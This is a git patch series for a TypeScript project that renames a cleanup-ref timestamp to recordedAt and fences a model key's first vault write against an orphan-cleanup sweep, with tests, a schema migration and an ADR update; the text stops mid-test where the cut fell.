d895699c91..4feb85967b 100644 --- a/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts @@ -13,12 +13,12 @@ import { ORPHAN_GRACE_MS } from '../executor/decide-orphaned-refs'; const NOW = 50_000_000; const OK: DeleteResult = { ok: true, removed: true, upstream: 'not_attempted' } as DeleteResult; -const ref = (accountId: string, tenantId = 'user:u1', createdAt = 1_000): ModelKeyCleanupRef => ({ accountId, tenantId, kind: 'api_key', createdAt: new Date(createdAt) }); +const ref = (accountId: string, tenantId = 'user:u1', recordedAt = 1_000): ModelKeyCleanupRef => ({ accountId, tenantId, kind: 'api_key', recordedAt: new Date(recordedAt) }); const accountRow = (id: string, credentialVersion: number) => ({ id, credentialVersion }) as unknown as AgentAccountRecord; -type Cursor = { readonly createdAt: Date; readonly accountId: string } | null; +type Cursor = { readonly recordedAt: Date; readonly accountId: string } | null; const pastCursor = (r: ModelKeyCleanupRef, after: Cursor) => - after === null || r.createdAt.getTime() > after.createdAt.getTime() || (r.createdAt.getTime() === after.createdAt.getTime() && r.accountId > after.accountId); + after === null || r.recordedAt.getTime() > after.recordedAt.getTime() || (r.recordedAt.getTime() === after.recordedAt.getTime() && r.accountId > after.accountId); const onePage = (refs: ModelKeyCleanupRef[]) => async ({ after }: { after: Cursor }) => (after === null ? refs : []); /** The per-person lock, as `createAccountChangeLock` answers: refused while `held` names the key. */ const lockOver = (held: Set) => async (key: string, fn: () => Promise) => (held.has(key) ? ({ acquired: false } as const) : ({ acquired: true, result: await fn() } as const)); @@ -30,11 +30,11 @@ function world({ refs, rows = [], deleteAnswers = {}, tenants = ['user:u1'], hel const deleted: DeleteInput[] = []; const cleanupRefs = { // Like the real query: oldest first, after the cursor, one page at a time. - listDue: async (input: { createdBefore: number; after: Cursor; limit: number }) => { + listDue: async (input: { recordedBefore: number; after: Cursor; limit: number }) => { listed.push(input); return [...refTable.values()] .filter((r) => pastCursor(r, input.after)) - .sort((a, b) => a.createdAt.getTime() - b.createdAt.getTime() || (a.accountId < b.accountId ? -1 : 1)) + .sort((a, b) => a.recordedAt.getTime() - b.recordedAt.getTime() || (a.accountId < b.accountId ? -1 : 1)) .slice(0, input.limit); }, clear: async (accountId: string) => void refTable.delete(accountId), @@ -69,7 +69,7 @@ describe('sweepAbandonedModelKeys', () => { refs: [...w.refTable.keys()], }).toEqual({ result: { scanned: 1, erased: 1, failed: 0 }, - listed: [{ createdBefore: NOW - ORPHAN_GRACE_MS, after: null, limit: 200 }], + listed: [{ recordedBefore: NOW - ORPHAN_GRACE_MS, after: null, limit: 200 }], deleted: [{ ref: { tenantId: 'user:u1', accountId: 'acct_1', kind: 'api_key' }, channel: 'manage', identityId: 'identity_user:u1' }], refs: [], }); diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index 8e6d069073..9e68698d36 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -69,6 +69,11 @@ function harness() { const events: string[] = []; /** model_key_cleanup_refs, by account id. */ const cleanupRefs = new Set(); + /** When each cleanup ref was last recorded, and when the put was sent (the harness clock). */ + const recordedAt = new Map(); + let putSentAt: number | null = null; + /** How long the save stalls while it prepares its write (the bindings digest), once, on the harness clock. */ + let stallWhilePreparingMs = 0; let cleanupDown = false; let loseLockOnRecord = false; const modelKeyCleanup = { @@ -76,6 +81,7 @@ function harness() { if (cleanupDown) throw new Error('db down'); events.push(`record:${accountId}`); cleanupRefs.add(accountId); + recordedAt.set(accountId, clock); if (loseLockOnRecord) heldLock?.abort(new Error('lock connection died')); }, clear: async (accountId: string) => void cleanupRefs.delete(accountId), @@ -150,6 +156,7 @@ function harness() { const plane = { put: async ({ ref }: { ref: { accountId: string } }) => { events.push(`put:${ref.accountId}`); + putSentAt = clock; const waiting = putGate; putGate = null; if (waiting !== null) await waiting.opened; @@ -196,7 +203,12 @@ function harness() { consentKey: null, lockAccount, modelKeyCleanup, - hash: sha3, + // Preparing the write (the bindings digest) is where a slow process can stall between its insert and its put. + hash: (bytes) => { + clock += stallWhilePreparingMs; + stallWhilePreparingMs = 0; + return sha3(bytes); + }, now: () => clock, }); @@ -214,6 +226,11 @@ function harness() { loseLockOnRecord: () => { loseLockOnRecord = true; }, + stallWhilePreparing: (ms: number) => { + stallWhilePreparingMs = ms; + }, + recordedAt, + putSentAt: () => putSentAt, holdNextPut: () => { putGate = gate(); return putGate; @@ -377,6 +394,19 @@ describe('setModelKey / removeModelKey', () => { expect({ saved, events: h.events, rows: h.rows.size, refs: h.cleanupRefs.size }).toEqual({ saved: { ok: false, reason: 'conflict' }, events: ['record:acct_1'], rows: 0, refs: 0 }); }); + it('given a save that stalls past the sweep\'s grace period before sending its write, should date its cleanup ref from when the write was sent, not from before the stall', async () => { + // A crash with that write in flight leaves a ref the sweep treats as young until the write can no longer land. + const h = harness(); + h.stallWhilePreparing(20 * 60_000); + const putGate = h.holdNextPut(); + const saving = h.authority.setModelKey({ actor, apiKey: keyA }); + await settle(); + const inFlight = { refs: [...h.cleanupRefs], recordedAt: h.recordedAt.get('acct_1'), putSentAt: h.putSentAt() }; + putGate.open(); + await saving; + expect({ refs: inFlight.refs, datedFromSend: inFlight.recordedAt === inFlight.putSentAt, stalled: (inFlight.putSentAt ?? 0) >= 20 * 60_000 }).toEqual({ refs: ['acct_1'], datedFromSend: true, stalled: true }); + }); + it('given a cleanup ref that cannot be recorded, should write nothing to the vault and keep no row', async () => { const h = harness(); h.setCleanupDown(true); diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts index fca2d0954e..81a57afb10 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts @@ -33,7 +33,7 @@ afterAll(async () => { async function record(accountId: string, tenantId: string, ageMs: number): Promise { recorded.push(accountId); await refs.record({ accountId, tenantId, kind: 'api_key' }); - await db.update(modelKeyCleanupRefs).set({ createdAt: new Date(Date.now() - ageMs) }).where(eq(modelKeyCleanupRefs.accountId, accountId)); + await db.update(modelKeyCleanupRefs).set({ recordedAt: new Date(Date.now() - ageMs) }).where(eq(modelKeyCleanupRefs.accountId, accountId)); } describe('createModelKeyCleanupRepository — against the real database', () => { @@ -57,18 +57,26 @@ describe('createModelKeyCleanupRepository — against the real database', () => }); }); + it('given a ref recorded again, should refresh its time: the grace period counts from the latest write sent', async () => { + const accountId = `${RUN}_again`; + await record(accountId, 'user:again', 3 * 3_600_000); + const [before] = await db.select().from(modelKeyCleanupRefs).where(eq(modelKeyCleanupRefs.accountId, accountId)); + await refs.record({ accountId, tenantId: 'user:again', kind: 'api_key' }); + const [after] = await db.select().from(modelKeyCleanupRefs).where(eq(modelKeyCleanupRefs.accountId, accountId)); + expect({ refreshed: after!.recordedAt.getTime() > before!.recordedAt.getTime() + 3_000_000, rows: [after!.tenantId, after!.kind] }).toEqual({ refreshed: true, rows: ['user:again', 'api_key'] }); + }); + it('given refs of several ages, should list only those due, oldest first, page past a cursor, and clear one', async () => { const [older, old, fresh] = [`${RUN}_older`, `${RUN}_old`, `${RUN}_fresh`]; await record(older, 'user:a', 3 * 3_600_000); await record(old, 'user:b', 2 * 3_600_000); await record(fresh, 'user:c', 60_000); - await refs.record({ accountId: old, tenantId: 'user:b', kind: 'api_key' }); const mine = new Set([older, old, fresh]); const cutoff = Date.now() - 3_600_000; - const due = (await refs.listDue({ createdBefore: cutoff, after: null, limit: 10_000 })).filter((r) => mine.has(r.accountId)); - const pastOlder = (await refs.listDue({ createdBefore: cutoff, after: { createdAt: due[0]!.createdAt, accountId: older }, limit: 10_000 })).filter((r) => mine.has(r.accountId)); + const due = (await refs.listDue({ recordedBefore: cutoff, after: null, limit: 10_000 })).filter((r) => mine.has(r.accountId)); + const pastOlder = (await refs.listDue({ recordedBefore: cutoff, after: { recordedAt: due[0]!.recordedAt, accountId: older }, limit: 10_000 })).filter((r) => mine.has(r.accountId)); await refs.clear(older); - const afterClear = (await refs.listDue({ createdBefore: cutoff, after: null, limit: 10_000 })).filter((r) => mine.has(r.accountId)); + const afterClear = (await refs.listDue({ recordedBefore: cutoff, after: null, limit: 10_000 })).filter((r) => mine.has(r.accountId)); expect({ due: due.map((r) => r.accountId), pastOlder: pastOlder.map((r) => r.accountId), afterClear: afterClear.map((r) => r.accountId) }).toEqual({ due: [older, old], pastOlder: [old], diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.test.ts index 2c6cc3d13c..ba813b1428 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.test.ts @@ -1,6 +1,6 @@ /** * `createModelKeyCleanupRepository`'s queries, shape only (the Postgres behaviour is pinned in - * model-key-cleanup-repository.integration.test.ts): a record is idempotent, and the sweep's listing pages from a + * model-key-cleanup-repository.integration.test.ts): a repeat record refreshes its time, and the sweep's listing pages from a * cursor only when it has one. */ import { describe, expect, it, vi } from 'vitest'; @@ -13,7 +13,7 @@ function fakeDb() { return { orderBy: () => ({ limit: async (n: number) => (calls.push(`limit:${n}`), []) }) }; }); const db = { - insert: () => ({ values: () => ({ onConflictDoNothing: async () => void calls.push('insert:ignore-conflict') }) }), + insert: () => ({ values: () => ({ onConflictDoUpdate: async () => void calls.push('insert:refresh-on-conflict') }) }), delete: () => ({ where: async () => void calls.push('delete') }), select: () => ({ from: () => ({ where }) }), }; @@ -21,15 +21,15 @@ function fakeDb() { } describe('createModelKeyCleanupRepository', () => { - it('given a record, a clear and two listings, should insert ignoring a repeat, delete, and page from a cursor only when given one', async () => { + it('given a record, a clear and two listings, should insert refreshing a repeat, delete, and page from a cursor only when given one', async () => { const { db, calls, where } = fakeDb(); const repo = createModelKeyCleanupRepository({ db: db as never }); await repo.record({ accountId: 'acct_1', tenantId: 'user:u1', kind: 'api_key' }); await repo.clear('acct_1'); - await repo.listDue({ createdBefore: 1_000, after: null, limit: 200 }); - await repo.listDue({ createdBefore: 1_000, after: { createdAt: new Date(500), accountId: 'acct_0' }, limit: 200 }); + await repo.listDue({ recordedBefore: 1_000, after: null, limit: 200 }); + await repo.listDue({ recordedBefore: 1_000, after: { recordedAt: new Date(500), accountId: 'acct_0' }, limit: 200 }); expect({ calls, listings: where.mock.calls.length }).toEqual({ - calls: ['insert:ignore-conflict', 'delete', 'where:some', 'limit:200', 'where:some', 'limit:200'], + calls: ['insert:refresh-on-conflict', 'delete', 'where:some', 'limit:200', 'where:some', 'limit:200'], listings: 2, }); }); diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index cb37df97c9..02e7123233 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -615,9 +615,12 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth await deps.accounts.remove(row.id); return { ok: false, reason: 'conflict' }; } - // The cleanup ref goes down BEFORE the vault write and has no foreign key: whatever this write leaves in the vault - // can be found and erased from it, even if the write is never confirmed and the person is deleted meanwhile. - // Without it, nothing is written. + const { scope, bindings } = planeBindingsFor({ row, boundAgentPageIds: [], hash: deps.hash }); + // The cleanup ref goes down as the LAST step before the vault write is sent, and has no foreign key: whatever this + // write leaves in the vault can be found and erased from it, even if the write is never confirmed and the person + // is deleted meanwhile. Recorded (or refreshed) here rather than earlier, its time is when the write was sent, so a + // save that stalled before sending cannot age its own ref past the sweep's grace period. Without it, nothing is + // written. const recorded = await deps.modelKeyCleanup.record(refOf(row)).then(() => true, () => false); if (!recorded) { await deps.accounts.remove(row.id); @@ -630,7 +633,6 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth await deps.accounts.remove(row.id); return { ok: false, reason: 'conflict' }; } - const { scope, bindings } = planeBindingsFor({ row, boundAgentPageIds: [], hash: deps.hash }); const put = await deps.plane.put({ ref: { tenantId, accountId: row.id, kind: 'api_key' }, material: { kind: 'api_key', material: { value: apiKey, placement: MODEL_KEY_PLACEMENT } }, diff --git a/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts b/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts index cd8e42b97d..b7826d95bd 100644 --- a/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts +++ b/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts @@ -66,9 +66,10 @@ export async function sweepOrphanedRefs({ /** * `sweepAbandonedModelKeys` — a model key's save records a cleanup ref (`model_key_cleanup_refs`, no foreign key) - * before its first vault write and clears it once that write is known (ADR 0009). A ref still there past - * `ORPHAN_GRACE_MS` (no save runs that long) belongs to a save that never finished: its write may have left material - * with no plane metadata, which `sweepOrphanedRefs` cannot see, and its owner and account row may be gone. Unless its + * as the last step before its first vault write is sent, and clears it once that write is known (ADR 0009). A ref + * last recorded more than `ORPHAN_GRACE_MS` ago (no write in flight takes that long) belongs to a save that never + * finished: its write may have left material with no plane metadata, which `sweepOrphanedRefs` cannot see, and its + * owner and account row may be gone. Unless its * account row shows the key activated (credentialVersion > 0: the plane's metadata owns the material, only the ref is * stale), the material is deleted (the plane's delete searches the vault with or without metadata), then the row if * one is left, then the ref. Paged past every ref, so refs that keep failing never block the ones after them; a ref @@ -90,7 +91,7 @@ export async function sweepAbandonedModelKeys({ readonly store: Pick; readonly now: () => number; }): Promise<{ readonly scanned: number; readonly erased: number; readonly failed: number }> { - const createdBefore = now() - ORPHAN_GRACE_MS; + const recordedBefore = now() - ORPHAN_GRACE_MS; let scanned = 0; let erased = 0; let failed = 0; @@ -98,7 +99,7 @@ export async function sweepAbandonedModelKeys({ for (;;) { let refs: Awaited>; try { - refs = await cleanupRefs.listDue({ createdBefore, after, limit: PAGE_SIZE }); + refs = await cleanupRefs.listDue({ recordedBefore, after, limit: PAGE_SIZE }); } catch { failed += 1; break; @@ -110,7 +111,7 @@ export async function sweepAbandonedModelKeys({ } if (refs.length < PAGE_SIZE) break; const last = refs[refs.length - 1]!; - after = { createdAt: last.createdAt, accountId: last.accountId }; + after = { recordedAt: last.recordedAt, accountId: last.accountId }; } return { scanned, erased, failed }; diff --git a/packages/lib/src/agent-accounts/model-key-cleanup-repository.ts b/packages/lib/src/agent-accounts/model-key-cleanup-repository.ts index 3c75899829..49a753e8f0 100644 --- a/packages/lib/src/agent-accounts/model-key-cleanup-repository.ts +++ b/packages/lib/src/agent-accounts/model-key-cleanup-repository.ts @@ -5,25 +5,28 @@ * foreign key, so it outlives the account row and its owner. */ import type { db as defaultDb } from '@pagespace/db/db'; -import { and, asc, eq, gt, lt, or } from '@pagespace/db/operators'; +import { and, asc, eq, gt, lt, or, sql } from '@pagespace/db/operators'; import { modelKeyCleanupRefs } from '@pagespace/db/schema/model-key-history'; export type ModelKeyCleanupRef = { readonly accountId: string; readonly tenantId: string; readonly kind: string; - readonly createdAt: Date; + readonly recordedAt: Date; }; export type ModelKeyCleanupRepository = { - /** Before the plane's first write: whatever reaches the vault can be found from here, whatever happens next. */ + /** + * The last step before the plane's first write is sent: whatever reaches the vault can be found from here, whatever + * happens next. A repeat refreshes `recordedAt`, so the sweep's grace period counts from the latest write sent. + */ readonly record: (ref: { readonly accountId: string; readonly tenantId: string; readonly kind: string }) => Promise; /** The write is known (committed, refused) or its material is erased. */ readonly clear: (accountId: string) => Promise; - /** Refs recorded before `createdBefore`, oldest first and after the `after` ref (a page cursor). */ + /** Refs last recorded before `recordedBefore`, oldest first and after the `after` ref (a page cursor). */ readonly listDue: (input: { - readonly createdBefore: number; - readonly after: { readonly createdAt: Date; readonly accountId: string } | null; + readonly recordedBefore: number; + readonly after: { readonly recordedAt: Date; readonly accountId: string } | null; readonly limit: number; }) => Promise; }; @@ -33,23 +36,26 @@ type CleanupDatabase = Pick; export function createModelKeyCleanupRepository({ db }: { readonly db: CleanupDatabase }): ModelKeyCleanupRepository { return { async record({ accountId, tenantId, kind }) { - await db.insert(modelKeyCleanupRefs).values({ accountId, tenantId, kind }).onConflictDoNothing(); + await db + .insert(modelKeyCleanupRefs) + .values({ accountId, tenantId, kind }) + .onConflictDoUpdate({ target: modelKeyCleanupRefs.accountId, set: { recordedAt: sql`now()` } }); }, async clear(accountId) { await db.delete(modelKeyCleanupRefs).where(eq(modelKeyCleanupRefs.accountId, accountId)); }, - async listDue({ createdBefore, after, limit }) { + async listDue({ recordedBefore, after, limit }) { const pastCursor = after === null ? undefined - : or(gt(modelKeyCleanupRefs.createdAt, after.createdAt), and(eq(modelKeyCleanupRefs.createdAt, after.createdAt), gt(modelKeyCleanupRefs.accountId, after.accountId))); + : or(gt(modelKeyCleanupRefs.recordedAt, after.recordedAt), and(eq(modelKeyCleanupRefs.recordedAt, after.recordedAt), gt(modelKeyCleanupRefs.accountId, after.accountId))); return db .select() .from(modelKeyCleanupRefs) - .where(and(lt(modelKeyCleanupRefs.createdAt, new Date(createdBefore)), pastCursor)) - .orderBy(asc(modelKeyCleanupRefs.createdAt), asc(modelKeyCleanupRefs.accountId)) + .where(and(lt(modelKeyCleanupRefs.recordedAt, new Date(recordedBefore)), pastCursor)) + .orderBy(asc(modelKeyCleanupRefs.recordedAt), asc(modelKeyCleanupRefs.accountId)) .limit(limit); }, }; From 5bf213722dff881c3d30ab44dc719f19e9a7b39a Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 10:07:08 -0600 Subject: [PATCH 33/35] fix(byok): fence a model key's first vault write against the cleanup sweep, under the plane's writer lock Time could not bound a delayed model-key write. The web process may stall after recording the cleanup ref and before sending the put, and the plane's Infisical calls carry no explicit timeout. So a write that arrived after the sweep had deleted the material and cleared its ref could leave material nothing references. The write is now fenced at the plane: - storeModelKey sends its put with fence: 'model_key_cleanup_ref'. Inside the per-secret writer lock, just before the vault write, the plane admits that first write only while the account's cleanup ref exists and is not fenced (PutInput.admitFirstWrite; the route asks ModelKeyCleanupRepository.admitsWrite). Otherwise it refuses the write as `fenced` with nothing written. With no ref store wired, a fenced put is refused, never written unfenced. - The sweep fences the ref (fenced_at, migration 0396 regenerated, unmerged) BEFORE its delete, which takes the same writer lock. It deletes the ref only once the delete succeeded, so a fenced ref stays the reference if the pass cannot finish. - A write still in flight either finished under the lock before the delete (and the delete erases it) or is refused. - A save refused as fenced removes its row and leaves the ref to the sweep. - Puts for every other account kind name no fence and are untouched; the OAuth and SSH routes narrow their result types accordingly. The plane's main-DB role now needs SELECT, UPDATE, DELETE on model_key_cleanup_refs (PageSpace-Deploy#40). Tests: - real Infisical (CI's named step): a fenced first write is refused and leaves nothing, an admitted one is written; - the put route: a fenced put is admitted only while the ref is open, refused with no ref store, and puts without a fence get no hook; - the sweep: fence before delete; a delayed write after the sweep is refused; a write holding the lock keeps the ref fenced until the next pass erases it; a fence that can't be written stops the delete; - the save: the put names the fence; a fenced refusal stores nothing and leaves the ref; - the repository: fence and admitsWrite, unit and against Postgres (a later record never reopens a fenced ref). Lib coverage 94.04% of branches against Postgres, 19,233 tests pass. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- ...model-keys-through-the-credential-plane.md | 8 +- .../drizzle/0396_model_key_cleanup_refs.sql | 3 +- packages/db/drizzle/meta/0396_snapshot.json | 8 +- packages/db/drizzle/meta/_journal.json | 2 +- packages/db/src/schema/model-key-history.ts | 6 + .../abandoned-model-key-sweep.test.ts | 65 +++++++++-- .../__tests__/model-key-authority.test.ts | 24 +++- ...key-cleanup-repository.integration.test.ts | 13 +++ .../model-key-cleanup-repository.test.ts | 17 ++- .../account-authority-executor.ts | 8 ++ .../__tests__/plane-put-fence-route.test.ts | 105 ++++++++++++++++++ .../executor/plane-http-adapter.ts | 16 ++- .../executor/plane-orphan-sweep-worker.ts | 11 +- .../src/agent-accounts/executor/plane-wire.ts | 5 + .../agent-accounts/executor/plane-worker.ts | 4 +- .../model-key-cleanup-repository.ts | 25 ++++- ...tore-adapter-infisical.integration.test.ts | 27 +++++ .../store/store-adapter-infisical.ts | 5 + .../src/agent-accounts/store/store-adapter.ts | 7 +- 19 files changed, 331 insertions(+), 28 deletions(-) create mode 100644 packages/lib/src/agent-accounts/executor/__tests__/plane-put-fence-route.test.ts diff --git a/docs/adr/0009-model-keys-through-the-credential-plane.md b/docs/adr/0009-model-keys-through-the-credential-plane.md index f086197c2b..598871806b 100644 --- a/docs/adr/0009-model-keys-through-the-credential-plane.md +++ b/docs/adr/0009-model-keys-through-the-credential-plane.md @@ -26,9 +26,13 @@ The options: - The plane's abandoned-model-key sweep (`sweepAbandonedModelKeys`, on the orphan sweep's timer) reads references older than the orphan grace period. It deletes the material, which the plane's delete finds with or without plane metadata, then any row left, then the reference. - The reference has no foreign key, so it survives the account row and the person. Material from a write the plane never confirmed is erased even if they are deleted first. - A reference whose key was activated is only dropped. - - The sweep settles a reference only while holding the person's model-key lock, the same main-DB advisory lock their saves and removals hold. A save that is still running, however stalled, keeps the reference from being touched. A save that loses the lock before sending its write never sends it. A reference is cleared only by the save that committed or was refused, by an abandonment whose delete succeeded after a committed write, or by the sweep, so no write can land after its reference is gone. + - The sweep settles a reference only while holding the person's model-key lock, the same main-DB advisory lock their saves and removals hold. A save that is still running, however stalled, keeps the reference from being touched. A save that loses the lock before sending its write never sends it. + - The write itself is fenced. A save records its reference as the last step before sending its write, and a repeat record refreshes `recorded_at`. The write it sends names the fence (`fence: 'model_key_cleanup_ref'`). Under the per-secret writer lock that also serializes deletes, the plane admits that first write only while the reference exists and is not fenced (`admitFirstWrite`). + - Before deleting, the sweep sets `fenced_at`, and it removes the reference only after the delete succeeded. A write still in flight, however late, either finished under the lock before the delete or is refused as `fenced` with nothing written. + - A reference is cleared only by the save that committed or was refused, by an abandonment whose delete succeeded after a committed write, or by the sweep after a fenced delete. + - The plane's main-DB role needs `SELECT, UPDATE, DELETE` on the table. - The sweep pages past references it cannot finish yet. - - The plane's main-DB role needs `SELECT, DELETE` on the table (PageSpace-Deploy `fly/plane-main-db-role.sql`). + - PageSpace-Deploy `fly/plane-main-db-role.sql` grants it. Every model-key lookup reads all of the person's model-key rows, not the capped account listing. 3. **New presenter `inference-executor`.** - It resolves `api_key` only, and `api_key` reaches no executor besides HTTP and relay. diff --git a/packages/db/drizzle/0396_model_key_cleanup_refs.sql b/packages/db/drizzle/0396_model_key_cleanup_refs.sql index c27327cb5b..90c432ff11 100644 --- a/packages/db/drizzle/0396_model_key_cleanup_refs.sql +++ b/packages/db/drizzle/0396_model_key_cleanup_refs.sql @@ -2,7 +2,8 @@ CREATE TABLE "model_key_cleanup_refs" ( "account_id" text PRIMARY KEY NOT NULL, "tenant_id" text NOT NULL, "kind" text NOT NULL, - "recorded_at" timestamp with time zone DEFAULT now() NOT NULL + "recorded_at" timestamp with time zone DEFAULT now() NOT NULL, + "fenced_at" timestamp with time zone ); --> statement-breakpoint CREATE INDEX "model_key_cleanup_refs_recorded_idx" ON "model_key_cleanup_refs" USING btree ("recorded_at","account_id"); \ No newline at end of file diff --git a/packages/db/drizzle/meta/0396_snapshot.json b/packages/db/drizzle/meta/0396_snapshot.json index 34a33d046a..f330b477fc 100644 --- a/packages/db/drizzle/meta/0396_snapshot.json +++ b/packages/db/drizzle/meta/0396_snapshot.json @@ -1,5 +1,5 @@ { - "id": "ae78b0de-7919-4bd0-88ee-51b767cd224e", + "id": "48445a1d-2720-49be-a78d-08b5f6976f91", "prevId": "0e10aec4-5df9-42e5-9794-00503cd375fd", "version": "7", "dialect": "postgresql", @@ -29939,6 +29939,12 @@ "primaryKey": false, "notNull": true, "default": "now()" + }, + "fenced_at": { + "name": "fenced_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false } }, "indexes": { diff --git a/packages/db/drizzle/meta/_journal.json b/packages/db/drizzle/meta/_journal.json index b2d5e2a0c6..fce6f118bc 100644 --- a/packages/db/drizzle/meta/_journal.json +++ b/packages/db/drizzle/meta/_journal.json @@ -2560,7 +2560,7 @@ { "idx": 365, "version": "7", - "when": 1796052210342, + "when": 1796054101705, "tag": "0396_model_key_cleanup_refs", "breakpoints": true } diff --git a/packages/db/src/schema/model-key-history.ts b/packages/db/src/schema/model-key-history.ts index 8158718bbb..3a66773264 100644 --- a/packages/db/src/schema/model-key-history.ts +++ b/packages/db/src/schema/model-key-history.ts @@ -34,6 +34,12 @@ export const modelKeyCleanupRefs = pgTable( tenantId: text('tenant_id').notNull(), kind: text('kind').notNull(), recordedAt: timestamp('recorded_at', { mode: 'date', withTimezone: true }).defaultNow().notNull(), + /** + * Set by the plane's sweep before it deletes the material. From then on the plane refuses any first write for this + * account (it checks this row under the writer lock it holds for the vault write), so a write still in flight can + * never land after the delete. The row goes once the delete succeeded. + */ + fencedAt: timestamp('fenced_at', { mode: 'date', withTimezone: true }), }, (table) => ({ recordedIdx: index('model_key_cleanup_refs_recorded_idx').on(table.recordedAt, table.accountId), diff --git a/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts b/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts index 4feb85967b..261bb11fff 100644 --- a/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts @@ -13,7 +13,7 @@ import { ORPHAN_GRACE_MS } from '../executor/decide-orphaned-refs'; const NOW = 50_000_000; const OK: DeleteResult = { ok: true, removed: true, upstream: 'not_attempted' } as DeleteResult; -const ref = (accountId: string, tenantId = 'user:u1', recordedAt = 1_000): ModelKeyCleanupRef => ({ accountId, tenantId, kind: 'api_key', recordedAt: new Date(recordedAt) }); +const ref = (accountId: string, tenantId = 'user:u1', recordedAt = 1_000): ModelKeyCleanupRef => ({ accountId, tenantId, kind: 'api_key', recordedAt: new Date(recordedAt), fencedAt: null }); const accountRow = (id: string, credentialVersion: number) => ({ id, credentialVersion }) as unknown as AgentAccountRecord; type Cursor = { readonly recordedAt: Date; readonly accountId: string } | null; @@ -28,7 +28,14 @@ function world({ refs, rows = [], deleteAnswers = {}, tenants = ['user:u1'], hel const rowTable = new Map(rows.map((r) => [r.id, r])); const listed: unknown[] = []; const deleted: DeleteInput[] = []; + /** The order of the sweep's fence and delete, per account. */ + const steps: string[] = []; const cleanupRefs = { + fence: async (accountId: string) => { + steps.push(`fence:${accountId}`); + const r = refTable.get(accountId); + if (r !== undefined && r.fencedAt === null) refTable.set(accountId, { ...r, fencedAt: new Date(NOW) }); + }, // Like the real query: oldest first, after the cursor, one page at a time. listDue: async (input: { recordedBefore: number; after: Cursor; limit: number }) => { listed.push(input); @@ -49,13 +56,14 @@ function world({ refs, rows = [], deleteAnswers = {}, tenants = ['user:u1'], hel const store = { delete: async (input: DeleteInput): Promise => { deleted.push(input); + steps.push(`delete:${input.ref.accountId}`); const answer = deleteAnswers[input.ref.accountId] ?? OK; if (answer === 'throws') throw new Error('plane down'); return answer; }, }; const sweep = () => sweepAbandonedModelKeys({ cleanupRefs, accounts, provisioner, store, lockModelKey: lockOver(held), now: () => NOW }); - return { refTable, rowTable, listed, deleted, held, sweep, answer: (id: string, result: DeleteResult | 'throws') => void (deleteAnswers[id] = result) }; + return { refTable, rowTable, listed, deleted, steps, held, sweep, answer: (id: string, result: DeleteResult | 'throws') => void (deleteAnswers[id] = result) }; } describe('sweepAbandonedModelKeys', () => { @@ -75,6 +83,49 @@ describe('sweepAbandonedModelKeys', () => { }); }); + it('given a ref to settle, should fence it before the delete, and keep it fenced while the delete cannot be done', async () => { + const w = world({ refs: [ref('acct_1')], deleteAnswers: { acct_1: { ok: false, reason: 'store_unavailable' } as DeleteResult } }); + await w.sweep(); + expect({ steps: w.steps, fenced: w.refTable.get('acct_1')?.fencedAt !== null }).toEqual({ steps: ['fence:acct_1', 'delete:acct_1'], fenced: true }); + }); + + it('given a write still in flight from a crashed save, should never let it land after the sweep: fenced before the delete, refused at the plane', async () => { + // A stand-in for the plane: one writer lock per account, a first write admitted only while the ref is open + // (checked under that lock, as store-adapter-infisical does), and the sweep's delete under the same lock. + const w = world({ refs: [ref('acct_1')] }); + const vault = new Set(); + const delayedWrite = async () => { + const open = w.refTable.has('acct_1') && w.refTable.get('acct_1')!.fencedAt === null; + if (!open) return 'fenced'; + vault.add('acct_1'); + return 'written'; + }; + const result = await w.sweep(); + const late = await delayedWrite(); + expect({ result, late, vault: [...vault], refs: [...w.refTable.keys()] }).toEqual({ result: { scanned: 1, erased: 1, failed: 0 }, late: 'fenced', vault: [], refs: [] }); + }); + + it('given a write holding the plane\'s writer lock when the sweep fences, should keep the ref (the delete is refused as busy) and erase what the write left on the next pass', async () => { + const w = world({ refs: [ref('acct_1')], deleteAnswers: { acct_1: { ok: false, reason: 'store_unavailable' } as DeleteResult } }); + const first = await w.sweep(); + const keptFenced = w.refTable.get('acct_1')?.fencedAt !== null; + w.answer('acct_1', OK); + const second = await w.sweep(); + expect({ first, keptFenced, second, refs: [...w.refTable.keys()] }).toEqual({ first: { scanned: 1, erased: 0, failed: 1 }, keptFenced: true, second: { scanned: 1, erased: 1, failed: 0 }, refs: [] }); + }); + + it('given the fence failing to be written, should not delete and keep the ref', async () => { + const result = await 